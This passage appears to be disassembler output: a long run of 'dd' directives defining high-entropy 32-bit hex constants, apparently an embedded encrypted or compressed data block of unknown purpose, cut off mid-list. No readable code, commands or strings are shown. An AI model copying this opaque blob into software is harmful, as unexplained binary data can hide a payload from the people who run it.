4B6C2840h dd 8033D813h, 5E17D725h, 3555DABCh, 714309D8h, 5F72015Bh dd 9620EF73h, 0EC053125h, 0C782B548h, 0EAC2E251h, 0B8C43E09h dd 0F1FE9Fh, 6B6AAABBh, 0DF02811Dh, 457DED36h, 5A737F5Fh dd 4A6436F8h, 0DAFCC20Eh, 91FCB5D5h, 0EAF28C14h, 8100FB49h dd 7A7EDCCBh, 58CA764Bh, 0DFDF30D3h, 1A0907FAh, 809FA0C5h dd 0F945A70Fh, 1E40285h, 9505B3B6h, 30DE04F5h, 0A2E225BCh dd 0C1F15729h, 1BCCA000h, 0DC2E6Ch, 1021CA87h, 0BA936933h dd 0FB1F3B0Ch, 91205401h, 259D0DEFh, 0A7807F0Fh, 483282B7h dd 0EA926931h, 278197DBh, 20FEB642h, 0CF25DF02h, 59BD722h dd 0A5C01617h, 0C10C71EAh, 0CDF32A0Dh, 203FEE5Ah, 9F6C9A00h dd 0C88E2773h, 0F5D4DF05h, 76F4890Fh, 4DB72751h, 0C9095B5Ch dd 0DF9C5729h, 7AAEDD5Bh, 0F2480C81h, 18F7E6DDh, 6EF95A6Ch dd 0C795134Dh, 6FC11A04h, 20F5FD60h, 0DF92FB9Eh, 758827F2h dd 9C44BF9Eh, 9BD5BB1h, 0A5D7F0BDh, 0A1C1CF09h, 2EA2D7AFh dd 25EDD98Ch, 291F79E0h, 26F009AFh, 0C45D1914h, 77C70466h dd 0BCB01335h, 0BCEF4912h, 0BE1E5A2Dh, 0C0973525h, 91177999h dd 0D7205F1Ah, 0BAEB4A7h dd 79BC2D8Bh, 9116902h, 91153757h, 3FF7801Ah, 2739F5CBh dd 24F5F203h, 4CB135D4h, 0D032DA6Ah, 0F9BEC131h, 28D4A988h dd 0BB50027Ch, 37E91C1Eh, 0DBA06C50h, 9B775B44h, 0DEA75C9Dh dd 4A37550Fh, 0BC85E123h, 0C82FC691h, 1F03CF18h, 4969592Fh dd 0A8688835h, 0D09201A1h, 5FD98B53h, 578A8281h, 732F8C62h dd 0E3F8705Fh, 8929739Dh, 0BA5719CDh, 0A3466Eh, 6037BBA3h dd 9F78A576h, 473E6F00h, 0AAD27B67h, 3F40049Bh, 0E153E99Ah dd 808E2CE3h, 0C6C8CF36h, 8E2F02BEh, 0E204BF66h, 0A65871DDh dd 0F36425ECh, 0DC66F695h, 0D1327A00h, 0B73C4C85h, 0F96E955Fh dd 4A31A121h, 0A9572720h, 3FED7D08h, 5845E4C0h, 0A8EDB573h dd 34601A64h, 640083ECh, 2322D845h, 9702299Dh, 3E7BB832h dd 171A50h, 0B032B335h, 5660E938h, 68DD8FA2h, 24525E40h dd 2796159h, 2409A640h, 4D270954h, 6E77CB04h, 8F0F272Ah dd 0BC60D4A5h, 0A188D82Eh, 0FA61811Bh, 997DC986h, 97F18102h dd 0D5638476h, 64AFFB59h, 0E5769F54h, 0F0716463h, 5F0F2E23h dd 0FA70EE8Ch, 79019016h, 2FC702AAh, 649A5791h, 28F1DB5Dh dd 0D192017h, 0FA685B00h, 8AC63D1Dh, 0BC092FEh, 39E1E605h dd 1B895A37h, 5BE25558h, 60FEEFDFh, 658F98B0h, 0C6EAAE05h dd 33C1F448h, 0A67E29F1h, 1A5B072Dh, 7FB0FF31h, 25141B54h dd 4FFE273Ch, 0C9D38040h, 40189490h, 261BDE69h, 4F431D02h dd 0C9571041h, 4A685F93h, 1256BB05h, 16EAA90h, 0D611EE03h dd 0E40BD03Fh, 7412B9BDh, 1A46DE8Ah, 8D83EC39h, 0BEBFA67Fh dd 0FEFBB42Dh, 490DE06Ah, 614C3927h, 4E3D3948h, 4F6A7AAFh dd 56D04160h, 0A5EF0080h, 8D01F95Bh, 0C7950EB5h, 0F74512D6h dd 3B11B087h, 1264F8CCh, 0ABD87714h, 0E000325h, 0DEDAA05Ah dd 0FFDC0586h, 0A091A8CCh, 0A52DC710h, 294715Fh, 3271BD23h dd 181D5937h, 6AED0367h, 0B4AC1034h, 6E9619F1h, 960E631h dd 81028460h, 1D207E61h, 2999E7Ch, 0BBFAEB43h, 795D3D8Ch dd 6A8D9C78h, 0F07C9DA0h, 972E8550h, 4F487D4h, 72DE6E36h dd 0F1E6A057h, 575FB02Dh, 8B08A01Eh, 5308B19Dh, 2EAEF1C5h dd 5FF84C72h, 3876FD90h, 0FC2CF1FDh, 9600E20Dh, 0ACBC2AA2h dd 27436640h, 0FA5EB54Eh, 0DDFAE9CEh, 9DBBA730h, 2AAEAF51h dd 0EAA917FFh, 61603131h, 963EFE79h, 2F26819Ch, 6D000953h dd 3847B9EEh, 691400B6h, 7DE3717Eh, 414C9603h, 3280C0FEh dd 0F014CFh, 75DEFB95h, 5B7D2A0Dh, 27216EB5h, 8A743381h dd 0D41A565Ah, 427D7013h, 5155A04h, 0FDF6500Bh, 0DAEE5BE4h dd 0EFB6D758h, 616B3E01h, 7C6AB748h, 380D8023h, 4D4BF5Ch dd 0F855A615h, 0D061BC5Fh, 0F71913BFh, 0C029DFABh, 152E5705h dd 78EF7478h, 919F48DDh, 20B9851Ch, 7D8D891Eh, 123A776Dh dd 372D555Ch, 0C9B204CCh, 81CCC2B9h, 94970D5h, 28D59D09h dd 0D2E95649h, 7CA24E77h, 2AD92529h, 54A539E5h, 6AE3D4E1h dd 3026EC8h, 7665A709h, 50405F90h, 9249BCB3h, 0DF808233h dd 2135FF55h, 16801D91h, 280A42F3h, 8FCA7D05h, 0B893D907h dd 0CBC5D522h, 0C1C79BAFh, 11EB8075h, 64265B49h, 0A9710B27h dd 0F8B2602Dh, 39739510h, 37181759h, 0CB707A2Eh, 2DD2D427h dd 64C52A59h, 9EECF1A9h, 9D29C005h, 60011905h, 96DFE9C7h dd 0C1699E40h, 5B73C50h, 0D4BCC849h, 0CB253D12h, 2A1E20AFh dd 530182F5h, 967DDCCCh, 6C894D4Bh, 41B898E6h, 0D19DB70Fh dd 0D60E4AEAh, 4255DCBDh, 5422AFAh, 36BC8FF5h, 1ABC2DBDh dd 83760B8Ch, 95DFDB6h, 13B5D449h, 4BB1ECC7h, 5E61FE09h dd 0D78ED620h, 0F8396D13h, 7D96E430h, 0E8A00018h, 298EF69Dh dd 624BF988h, 6F35FB8Ah, 8D9BBE30h, 94BFC0DDh, 67B5A9B2h dd 0A846792Ch, 0D548431Ah, 0AC968494h, 9D1604D4h, 0E9C63DB3h dd 4B26E869h, 4CD98B47h, 0E9ACC002h, 3AB1250h, 5B0B60C2h dd 0A5D21EB7h, 9584E35Ch, 0BE651621h, 0B25BEB6Ah, 57F58972h dd 0EB00FFC4h, 0E784F04h, 0B4C5E905h, 0C2D4013Fh, 0C8BF688Bh dd 6D009A59h, 0D730231Eh, 63F0CFh, 9C477E82h, 0C5DF3E25h dd 8C79FA00h, 7CA94A77h, 0C61D0028h, 72E1DC29h, 0CB006389h dd 0C58402BFh, 30DB4130h, 5F55D5DEh, 1DEC198Dh, 0E2C39407h dd 0A0EEA498h, 7D2C90F4h, 0DB180727h, 50ECD92Ah, 0E56964B1h dd 0D0E13412h, 0FF0E1200h, 187D8875h, 495632BAh, 8D03E1D9h dd 0AC99EA63h, 814EE0B7h, 8BFF3077h, 2E261C23h, 2D0F5A60h dd 3B10820Eh, 0AF03683Ah, 1885574Bh, 625FA880h, 46BA9E0Eh dd 0F77080F2h, 370E16h, 77139B25h, 0F83C6BF9h, 0EC648200h dd 872FE43Dh, 4419C0C3h, 0C7B61A7Eh, 1680BF3Ch, 0BF00344Dh dd 1F5C0D4h, 0A8C803CDh, 6B1F971Dh, 86FC350Fh, 4BD521A2h dd 1780A723h, 15E2DF26h, 0A102032Dh, 9EA9FF24h, 56518345h dd 0F2B7D37h, 467B806Dh, 0EB0690D5h, 21B1D559h, 4CC360Ch dd 7C70F40h, 42EB55F3h, 6F32A1D5h, 0FD21249Eh, 0CA071014h dd 18D94496h, 65592D00h, 30AFBD01h, 8AD60032h, 2FD933B2h dd 0C85025A7h, 637BE1A8h, 89506D28h, 0F8DCEB00h, 0D359544Eh dd 2944D941h, 538DC2Eh, 4C582101h, 0C465D771h, 0ED32D8C7h dd 2410B501h, 75014850h, 0AAA34D81h, 3AFDB55Bh, 0A01F47D8h dd 567D6CFh, 0CA3B2110h, 0E5C620BFh, 0E13D0CDEh, 62CB0092h dd 7F53271Eh, 65ED001Bh, 43803F2Dh, 0F2999CAh, 28A898C2h dd 0ABA24C07h, 19FB65Ch, 0AAF24BA5h, 679A4DCh, 440E421h dd 8B02C627h, 32B553B7h, 6EEB80D5h, 7333BD96h, 288064C2h dd 0B499201Dh, 76A7036Ch, 0B0D41C21h, 371D39h, 8A262A34h dd 0E82789h, 24F966F4h, 4931B03Bh, 91E95000h, 0DD8C84A2h dd 156A00CAh, 7857A128h, 5C00B094h, 0F9F40EE8h, 350810h dd 4E3DA22Eh, 0A68C5E7Ah, 84F845EAh, 0C26C4000h, 0BF033E4Bh dd 78C324CEh, 887F18B7h, 0CF022317h, 0D3D2C67Bh, 2D06239h dd 209B29C7h, 0D6DC1C43h, 0FAD9F000h, 0E196CF08h, 9E752Eh dd 0DE3D23CDh, 2F266EDAh, 33675B28h, 533A8E00h, 0D6870B46h dd 9F000CDh, 147CC0FFh, 0F3008F1Eh, 0E70C9993h, 48B1A29Dh dd 8D000954h, 1A6AC6DCh, 355451D5h, 0C6D2BA97h, 8B291670h dd 5786127Ah, 456400F3h, 17D7B33Bh, 625832C0h, 0C9633DC4h dd 2A13DBC7h, 172E72A8h, 1803A348h, 6465E3E7h, 0F0761Eh dd 0B12E3C0Bh, 0A8717773h, 31DF0C00h, 119CC4D9h, 41A008Bh dd 6B83493Dh, 3CC9191Fh, 98150090h, 0FA506FB5h, 0D7DE0E75h dd 0AF8C16FAh, 0E6032E61h, 67B21BEFh, 0D054B06Ah, 3B1DC0B4h dd 0AE3F79C7h, 6E24DC01h, 0F084A55Fh, 20ADD892h, 0D3DE4B8Ch dd 0A30AFE00h, 6A977B56h, 769F002Eh, 91CD162Bh, 0EA02700Bh dd 9EFC7742h, 585360BDh, 22A600CEh, 0A53A60C0h, 5F3AB35Dh dd 4BA880EEh, 887C495Ah, 232A6058h, 23C8C51Fh, 78FBD603h dd 0CCDA7A8Fh, 45C906D0h, 0E89001h, 26AAA7F0h, 25AF3E78h dd 9EA3F801h, 0D538D62Ah, 39144A80h, 63921EC5h, 5D07FEECh dd 9D204F8Dh, 0A3E76B30h, 729B0385h, 5F2C35A2h, 0B900E99Eh dd 36211EBDh, 4B77B3h, 207C40EEh, 3C5DD11Bh, 0DCDA4260h dd 9AEDA52h, 213A6192h, 7FD04880h, 3B001F2Ah, 359DE657h dd 486DD1ECh, 0C10F8F29h, 274299B4h, 2140ADF6h, 0CF003EE8h dd 523B8FBAh, 26860A47h, 14D4C4D7h, 7D00F714h, 9F048183h dd 0AD01BF8Ah, 0E8063B40h dd 0BB24FD0Fh, 0E30D1841h, 2C367C79h, 6EB4F94Bh, 0C6F0207h dd 5541E577h, 0E0DAF4A2h, 0A24C036Ch, 5625023Dh, 0C03DED16h dd 7EBF585Ah, 0D23603B7h, 7BB0E408h, 0D82B3D00h, 31152074h dd 34383F17h, 441FD435h, 0FD21D0BDh, 0CE3F0CB1h, 4C7DCC6h dd 0D6F3329h, 2164C076h, 0BD3F9F05h, 0AFFF84AEh, 0FAC0B7B5h dd 3EC7EC2h, 2CDAF901h, 7AA8D421h, 4D00788Dh, 58EE209Fh dd 0E29C45A6h, 2441B072h, 381A9409h, 2CD5D000h, 2975EEDBh dd 22C85300h, 70B7FB8Ah, 0F8743944h, 0F77103Fh, 4FA39730h dd 340112C0h, 0DF00D540h, 7F0498CEh, 0F6224EEDh, 0F6C31FD4h dd 0C6310F02h, 610B25A0h, 141EBCCDh, 3FC04E60h, 184D39ADh dd 0C22E0640h, 0F1C68F8h, 0E7749300h, 0DB61C5BDh, 0BB4400B8h dd 0B331E4A3h, 0F613EA9Ah, 900976Dh, 9582764Bh, 0EDA31EC7h dd 0DD3100DAh, 0FC116B33h, 0C5F248E5h, 0B5078128h, 8021463Ch dd 83A27CA3h, 59425B34h, 0C0600A7Fh, 84B20879h, 85BD39h dd 0AF1760C9h, 75B45Ah, 0FC523705h, 0E5D9AD81h, 27D6DCE9h dd 57BAD476h, 3A640810h, 0F0051275h, 164C0050h, 0E46D82A2h dd 69397900h, 384DB233h, 92D6780Dh, 66BC0073h, 4A4EEB5Fh dd 412652BBh, 0CA003374h, 45A526A2h, 51A90C35h, 7A0FF591h dd 0D03E6E0h, 0D84C97E0h, 231900ACh, 0D4AEF004h, 41F4C83Eh dd 26996D12h, 844E4590h, 0D4DE009Ch, 57A009FDh, 2700967Ah dd 0AB12E6D1h, 69B6F52h, 63D7EE32h, 20199BAh, 8871C5FCh dd 0DD84079h, 0E43DB0FAh, 0E2890652h, 6304C281h, 4EA833Bh dd 5C241487h, 37689FE0h, 8D1E2FF2h, 1F63E018h, 0F0C11CFh dd 16972251h, 0D36310h, 4C48312h, 88C18149h, 48DC5D1Dh dd 6B14F180h, 6895FFCh, 0FD6859CAh, 2471491Ch, 452015BEh dd 0EC685978h, 8F833D0Eh, 64FF0841h, 22C42096h, 8957018Bh dd 44C7F1E7h, 8706210Ch, 0E9D6803Ch, 0FFFB5A6Eh, 75CC011Ah dd 0B80FA743h, 610FC49h, 0EC5033Fh, 0BC92E0h, 0A9983717h dd 0CFB10009h, 6FC31A80h, 700712FEh, 385244D2h, 297B5BD0h dd 6DC403C8h, 20CC1602h, 652D4ED8h, 3CE68CEAh, 0B700B97Ah dd 0E035F14Ch, 17A163Eh, 1AA10A8Ah, 0DDF647C4h, 87F5EA79h dd 27005536h, 397C69EBh, 0CC5AD245h, 0BB176612h, 88AF7F1Dh dd 0E81CB1E8h, 44403174h, 0FB370CBFh, 0F6D90230h, 905071E2h dd 73DC0176h, 29D4BDB8h, 0E99340DEh, 0A76F2D41h, 30D1652h dd 0C0889EBAh, 2798D8EBh, 0D12B059Dh, 0F4BD317Ch, 845B0F21h dd 0A2414EB6h, 801027ECh, 232DF781h, 383E6332h, 50408990h dd 7EF8BF7Fh, 44F767Ah, 54F0B4B6h, 680042D9h, 86C80F5Ch dd 27099816h, 0F644D19Dh, 4BCB8017h, 0EB4A5DA2h, 2A611CCh dd 66D2FF42h, 0A7D2B64Dh, 11C6902Fh, 28C026B8h, 99B70BB3h dd 30F7D9BAh, 0B98B0FC7h, 819E3E65h, 16615CCFh, 0B220B616h dd 1C103018h, 6F880F0Ah, 6109F89h, 1C56BD72h, 1AECFF93h dd 9CF5FD25h, 537F65B8h, 68A1AC60h, 0E200CF45h, 6A6197EBh dd 0DC8FB602h, 34EB6517h, 0B61649A8h, 0A735B8BAh, 121D6187h dd 0B1EC5FBh, 11A29093h, 0EA52AA4Eh, 23DD6BEFh, 562C0015h dd 0C0F5D5BBh, 0CF075975h, 0E963E567h, 641CF7EBh, 4B581948h dd 0C5BCB5B9h, 0DA927BDh, 0E776D6F9h, 0AA716531h, 0F900BFF2h dd 4402BB50h, 7CF54BD2h, 57788076h, 32C32Bh, 0D42942A0h dd 525CDD6Fh, 0AC372704h, 73EB79ADh, 1FD29591h, 0EB810216h dd 75D5EEDFh, 51045BD7h, 5323617h, 7D573ABDh, 2D63A2EEh dd 7540406Ah, 0B5BA832Eh, 16225455h, 221EB6F5h, 40C39D09h dd 0FEB08B2Dh, 0B1B90B7h, 0D05170E6h, 1E409D43h, 0B790D781h dd 6B299D2Dh, 0BD20E417h, 0D4950809h, 963853D8h, 35FECF15h dd 0BD30FE09h, 778E1Ch, 0E4293222h, 1C18BB5h, 16BEBD4Fh dd 8FB1F88Ch, 2BC1904Dh, 0F5F88AC8h, 0E9DCD0D1h, 95F9C65h dd 0D0BCF413h, 6A818D8Dh, 47550903h, 19502F49h, 2E183209h dd 85014E53h, 3693A573h, 126B9FBEh, 76F21Bh, 0ACCBB840h dd 0F295E1h, 0F0116048h, 5EA9CDE8h, 0E4C3850Dh, 88A73677h dd 0FBDF5DE2h, 0B35F2D50h, 0D18C11B6h, 539220Ah, 29A597BBh dd 5A38B85Dh, 4A8A368Ch, 372EBFEh, 1A627F29h, 0A22F1475h dd 507D004Eh, 69EDBD0Bh, 4C5D280Dh, 9EEE2003h, 9557190h dd 9CB96FA2h, 0B00509BCh, 0C5AA3CE9h, 0DC6FC55Eh, 74F65A4Dh dd 0BDF601D4h, 0AAEEEC51h, 7A0C73AFh, 0FCFB8300h, 44C48616h dd 0C0640EA0h, 249ED430h, 48B909F9h, 0B1D6442Eh, 87DC6F31h dd 2F2941FDh, 97B820A9h, 7F0F690Eh, 0FF0B4288h, 95B64056h dd 2B5F8031h, 79DBC05Bh, 378F7A83h, 0D22B52F8h, 67C8B72Dh dd 0D98B8B45h, 0A17017D3h, 2FD54D54h, 50A01B20h, 569717B9h dd 260C60BDh, 71483D08h, 6C02D38Fh, 0DF5FD459h, 0A9C620B8h dd 0D92A410Fh, 880DE4C8h, 82549FEAh, 0F7899509h, 60893753h dd 2B10F503h, 0BAB561FCh, 0D4597437h, 0B6B0101Eh, 0B1E4F581h dd 0E23E6CF2h, 8C17EC2Ch, 0E3A9680Bh, 2D9C82B5h, 0E7F37529h dd 1D556E78h, 6D5AA921h, 4E0038E4h, 0F4FF140Ch, 456C999h dd 31297950h, 0F3C8AAACh, 0D8C20073h, 0C9469A69h, 0B4006FF5h dd 0FAACEE16h, 534952D6h, 2700FA5Fh, 0C024B893h, 800A1F0h dd 0E87602Eh, 0B7CBA3Ah, 79723574h, 4A459C59h, 4FB7BFAh dd 972FFD8Dh, 85A9D8FBh, 8C6E2E41h, 9D172B3Fh, 9DBA1871h dd 34820C5h, 7320E189h, 59D69769h, 65179971h, 0CB34E886h dd 2134F7FAh, 14B5DC92h, 4582F1Dh, 9BD0EF5Bh, 45095E9h dd 0E9ADD84Fh, 0E055F64Ah, 75E091CEh, 91A0293h, 6BB3D0AFh dd 3A2B0CD6h, 0B1F42C79h, 4F712592h, 201E1h, 0B8F28B60h dd 81B573C0h, 144B6B61h, 744FDDB4h, 8B33CA40h, 32D49570h dd 1FADBD04h, 8505A2AEh, 0F6AA2729h, 0E1B45A22h, 108BB5ACh dd 40C56F77h, 0E073CAE9h, 57A2A517h, 0DF902A30h, 0A4A002Ch dd 5A78EAA0h, 22938A0Fh, 0D9609089h, 4B991ED1h, 3C80DF31h dd 0CF0F3969h, 712F0B27h, 305992AFh, 601D85EAh, 83AE9C1Ch dd 0D2925880h, 9FEFE4BBh, 5A4F26C0h, 4A7D8BDh, 53F8A983h dd 0E040E690h, 5AD4FDFh, 0AECF6CAAh, 0DD20EFACh, 7D86438h dd 52AB022Bh, 64F2C68Ch, 0D6BF0F27h, 3FB40FF2h, 0F11BE0D2h dd 0EAA35297h, 54DF254Fh, 0F572257Bh, 0DEA75AFBh, 32B9E231h dd 0AC9453DFh, 67714017h, 0D200EC75h, 0A6FE6645h, 1303BD08h dd 0ACB4DA56h, 1E00AA72h, 0A485B9CCh, 635A3BAEh, 0C9736CACh dd 7D2BD587h, 7570B073h, 2FF44938h, 8520BED2h, 7ECAA2h dd 7B0C436Ch, 152A55C1h, 665FF52Dh, 0B59181AEh, 2E5151F2h dd 0B5752557h, 53312502h, 3DC420A2h, 0C5FFBB05h, 0B9AC0E2Dh dd 0BFD453CBh, 5F241610h, 45AD3854h, 2691B575h, 36DDE00Ch dd 661FE190h, 8992B3BBh, 1B76FBBh, 7C1CAF05h, 4EC46FF6h dd 60480B29h, 485D8501h, 40C9B5F3h, 0D6BF6102h, 0ACDBC5AEh dd 29DB4BCBh, 0A8CA1C81h, 0D94A800Fh, 70BE6096h, 1D9103C9h dd 880CFCBAh, 5A50763Fh, 908234DBh, 0FB8B01B9h, 459DA952h dd 1E115068h, 2E684600h, 0F8EA379h, 27119989h, 0EE8A4530h dd 0D11D0299h, 5C717BC9h, 67F3407Bh, 0E20B0997h, 0D7858D3Ah dd 2362CF4Fh, 359D702h, 63CAF900h, 0ED8A601Eh, 0AB86D4B5h dd 6528F6C2h, 31702F17h, 0BD612140h, 45AD0179h, 152EB10Ch dd 0EA386A2Ah, 0CA4FBF5Bh dd 408C9060h, 0C9280206h, 10E9D0D7h, 453C5220h, 0F1CD0020h dd 0A03EDEC2h, 0F509C71Eh, 0C469D01Dh, 18CA12Bh, 37C6EEh dd 0D20927C4h, 46747780h, 0ADF2F339h, 91B155D1h, 27B82B5Fh dd 3FBD96EBh, 5EA11857h, 68D343Fh, 0C9B171B7h, 238725F6h dd 0F7CA259Dh, 0DEFF8B7Ah, 0A113F4FFh, 0DBB34948h, 978B301h dd 3A0BBD85h, 0A65E20CBh, 63DBA05Dh, 0BC7B12F9h, 6271FE8Fh dd 9C7A202Dh, 0EF5FB34Eh, 25D4DAADh, 481440DFh, 0E3DEC142h dd 271E8000h, 0B966D633h, 5A06178Dh, 5BCDB050h, 3AB66176h dd 3612574Bh, 4041674Fh, 0C83B682Eh, 0CB006951h, 0CC179BEFh dd 708C0h, 2415178h, 297E70D9h, 95DD44B5h, 0DE95DFD0h dd 6C27F671h, 0CEBBD4B2h, 0DAFD0071h, 4E98B989h, 517B0AFCh dd 16842362h, 0BB7D02D8h, 7377ED4Dh, 2384F80Eh, 0DE3B9B01h dd 319EA435h, 68965C9Ch, 429B5B9h, 0E0EAED7Fh, 0D151686Dh dd 20C92A5Ah, 0B96EB97Eh, 0B0ACC02Eh, 5099D71h, 7540BD5Fh dd 93E42A6Fh, 0A8D520BEh, 0DE00181Bh, 8ACBAEF4h, 0B520BA96h dd 0E6D73E89h, 0A1BD1615h, 338DFE15h, 0C018F83Fh, 0BD23901Ah dd 1825E711h, 2733AC2Bh, 0B975BB7h, 38776CB3h, 40BDF3B6h dd 9D13BB13h, 65BFAB6Dh, 2AE4C856h, 391E3A0Eh, 60A28E66h dd 3790FC5Dh, 6B5B5E9Fh, 161423C6h, 95F60E1Eh, 0BB500110h dd 7F79D49Ch, 0E9EEAD6Fh, 0CE81C729h, 7F7EA68Ch, 9FB9C480h dd 0BA61038Eh, 697135DDh, 0D019ADB5h, 0BB8FC32h, 5738C6DAh dd 0FD7DC275h, 5425716Dh, 8C12DC7Ah, 730662Ah, 626FD3h dd 1BFD2161h, 0D7809B1Fh, 965B3E09h, 0EFB30752h, 0E69008EBh dd 22C4F56Bh, 13985F97h, 8601BCBBh, 965F3692h, 0CA3AF98Bh dd 0D4E4A028h, 275AB0B8h, 255B2B39h, 0E1181979h, 9E4D5E09h dd 6935DCF8h, 0F5DA9DDCh, 6BD98739h, 1823076Bh, 450CDE2Dh dd 0A2F9A8F5h, 0D381206Eh, 312D6433h, 64D54D63h, 385B6019h dd 0AA027EAh, 0D5200E50h, 0EDFAC629h, 0CE1CDC1Fh, 5527C661h dd 26009E37h, 0E9958EEAh, 6043262Fh, 0A19274Ah, 0D62F30CFh dd 0CF4B79B7h, 14D789CBh, 3B4D007Bh, 0B760FE18h, 0C400ABBCh dd 0D2DC6B4Bh, 0B05A595h, 0E6E9D797h, 70B70558h, 4ABF7339h dd 7C9A20Dh, 0CE7F25A9h, 66178B90h, 3F75BAh, 36DBF5Bh dd 0C3815829h, 0CCBD60E8h, 93B200B5h, 2654DC95h, 58751040h dd 0DF6968F4h, 207850A9h, 61042AA1h, 49BD3159h, 33FF69D1h dd 8AFF62Fh, 32A985h, 81F38B58h, 711EB8F0h, 7D2D5FD9h dd 0C080D72Fh, 7E0D3A5Bh, 6158DC95h, 401779BDh, 477B1112h dd 0BE660402h, 75504AEBh, 8F0974F1h, 18721803h, 0E815776Ch dd 4E31005Bh, 0ACF4A49Bh, 8102F058h, 484694EBh, 0DD6055Ah dd 0FC139088h, 0D31880EEh, 85DC7DF6h, 0FEF1B58Fh, 3F0AE200h dd 0EDDA999h, 0CC211CEBh, 76435340h, 3B012C22h, 0DBEF8312h dd 3FC0A5EDh, 89D66F5h, 2B032166h, 4A89EF8Bh, 72103AD8h dd 1B13007Eh, 7693E8FFh, 910EA5F0h, 4027212Dh, 0E99958D3h dd 22D70F1Bh, 0E363EFC1h, 211B1DA1h, 2348892Eh, 43E5D88h dd 95EDD5EFh, 35201C62h, 33EF91h, 0BFC052E4h, 0A51B175Eh dd 0C8217760h, 663E356h, 241CD8E8h, 723A1968h, 4AD00CB8h dd 0C211DEh, 58D27C4Bh, 0A1761EA8h, 301F603Ah, 539B21CDh dd 59EC037Ch, 0C8AC712Bh, 4C73B800h, 0DC6F24E1h, 303B7546h dd 22302F3Ah, 0B700D50Ch, 16EEA587h, 0CCFEADDEh, 6E211108h dd 0D3B7ED07h, 2380C492h, 0A0075991h, 14B2A490h, 0E35C3036h dd 0C33D6900h, 89046308h, 0E34EE4FDh, 0F1EBAE00h, 6DF83498h dd 0A6A900D2h, 1D8B9BF9h, 1E0038EFh, 0E48AFD84h, 0B209Ah dd 513CBBD9h, 1D1AD659h, 4B64CB02h, 0E0941C78h, 0D02B3Ch dd 205DB5D9h, 0BFDBCCD5h, 0EB0E1800h, 329D7E74h, 7D620099h dd 0F1B0753Ch, 770036BCh, 9E2C6957h, 0FC2CEDEh, 0E4F685BEh dd 679D8C20h, 6EF832E6h, 5700957Ah, 124FBC5Ah, 60E39Bh dd 0E79FC1A1h, 0A2C63F27h, 96053Ah, 63F52DF7h, 0E81C9335h dd 14291C8Ah, 0A1307A8Bh, 357BD621h, 64D76F00h, 0D457854Eh dd 156A004Fh, 10A45A0Ch, 22009972h, 0D5680F8Bh, 30E9B394h dd 8340C50Dh, 0CE3A7C95h, 0CD10602Ah, 3510BE3h, 0EBAA39A4h dd 830C9ACh, 0DBE721D2h, 0E2CAE60Bh, 28E500D8h, 516D6463h dd 0EA1CC9F0h, 0EF434A27h, 67CC9EDDh, 414D38A0h, 80F2EEDBh dd 568F9711h, 0CBA6F65h, 0EA74CAE9h, 21C09B08h, 0E85697A9h dd 792760CCh, 913ABE28h, 0C466DA06h, 3C92938h, 18C7DC77h dd 10029F69h, 0EBD91487h, 0FEA480B6h, 0C0996058h, 0CA071E98h dd 52079A39h, 16461CCBh, 41E0D177h, 3FEF8h, 58679815h dd 91BA8C4h, 1A3CBF00h, 46BBF251h, 0E0C11D4Fh, 56F04796h dd 0C77CD09Ah, 15005EA4h, 11FE6D5Bh, 74065FCFh, 0E8F0F507h dd 0FCD207A9h, 23315270h, 8308389h, 0B04A21FFh, 0B6F00ED2h dd 57408248h, 8E843FC7h, 19B3700h, 592D7B2Ah, 1F9F0045h dd 12670A5Bh, 18608C6Fh, 0E8440840h, 0C2F50EB5h, 9FE6D30Fh dd 0CF0C2817h, 6918D216h, 404CAD2Eh, 43615AD1h, 0C0532F0Fh dd 0C0B90F38h, 0C609EF86h, 8513093h, 0A0914930h, 0A5901467h dd 0CAE6A187h, 0ACEF00A1h, 59442113h, 4C330FB2h, 0E80851h dd 13A48C21h, 6291D62Ch, 236E3B00h, 0FDCBF32Eh, 0B461C367h dd 4ED8B0E7h, 16187A3Dh, 2AA90FD9h, 7C910309h, 6CFD7F22h dd 8051313Dh, 9931CC64h, 1C286CBh, 40F1EFEDh, 801B266Fh dd 0A59ACF78h, 7DE4CCCh, 0F7E5AC76h, 0F2733D6h, 823C2100h dd 16C7EFCBh, 0ABB60011h, 9C7E3BEBh, 0F606391Dh, 0CCF3641Ah dd 7C8552D8h, 0C30EBE2h, 52DC03EEh, 0A8E30484h, 0F6D81D83h dd 3A040F86h, 0C9C78F55h, 1870883h, 0D1703E09h, 20C691C0h dd 16407504h, 0B9196024h, 99E1B45Dh, 2C49F303h, 0E8A68242h dd 0F6DBE314h, 59D4244Ah, 80A41108h, 70E9D2B4h, 0E0448CBAh dd 0D2BF0349h, 44A2A3Fh, 9FC09189h, 0B3C062C9h, 769AF882h dd 0FC940688h, 21A88D6Fh, 0C580E209h, 0DB5001FDh, 0D1FCCF48h dd 203C5896h, 6590B032h, 0A860A004h, 7021FDD2h, 0B34DC05Ah dd 640EF5D2h, 230FDF8Fh, 0A8536D08h, 283D3CC1h, 1D0C354h dd 9BE59489h, 0D5164546h, 0F34180F9h, 74EDC71Eh, 98594831h dd 0A0131715h, 82D9BF00h, 44DB752Ch, 200E8F30h, 18CD8878h dd 380FFFDAh, 6E400D11h, 79D30342h, 68E502CFh, 6EF790Fh dd 9CC67CD5h, 48E82E0Eh, 5301B6CEh, 1B5CEDFFh, 78408B3Fh dd 58008C98h, 4AB200BBh, 639765FCh, 0DC911E9Bh, 0D918FED1h dd 6724AC03h, 0F41FB929h, 78C88h, 0B15AA58Eh, 55BD7E4Ah dd 53CC8000h, 9AAF0ADEh, 0E6DC303Dh, 0CE4C2AC0h, 0ACCF3003h dd 10C6DBABh, 3DEB6A8h, 0FDBA0BF8h, 0BE590253h, 0D9AB0A3Eh dd 0D11162E0h, 18E24F3Ah, 93200BBDh, 120D0036h, 0FB57E1CEh dd 6D00A6FEh, 68F10941h, 0F0EA95Dh, 34ED9CC1h, 0F823803Bh dd 0D2B201A2h, 18AA70EBh, 0BD4788FBh, 0C1CCD204h, 9C80D635h dd 0C3B74440h, 0E0E5CE58h, 0B58806F4h, 4480A730h, 0E7F060E4h dd 1E71032Ch, 50884CAFh, 673513B0h, 0F0690F62h, 948C08FFh dd 0E5B8645Eh, 190A008Ch, 5D7DA7DCh, 5C01841Dh, 15C6D73Eh dd 60A9E975h, 60CCD398h, 12456220h, 1060980h, 37D5FC8h dd 0E470201Ch, 0FE59981Fh, 0D63FF02Ah, 0DC92F3E0h, 8F22CB3Eh dd 85A44Bh, 0A3B23825h dd 157F070Ah, 0E25E553Fh, 7A6044EDh, 9D3993C1h, 0AE608094h dd 5D88F02Eh, 0F2560F1Fh, 2723302Fh, 0B8A894DFh, 0AB001C35h dd 481E269Fh, 957A851h, 9E4C9A2Dh, 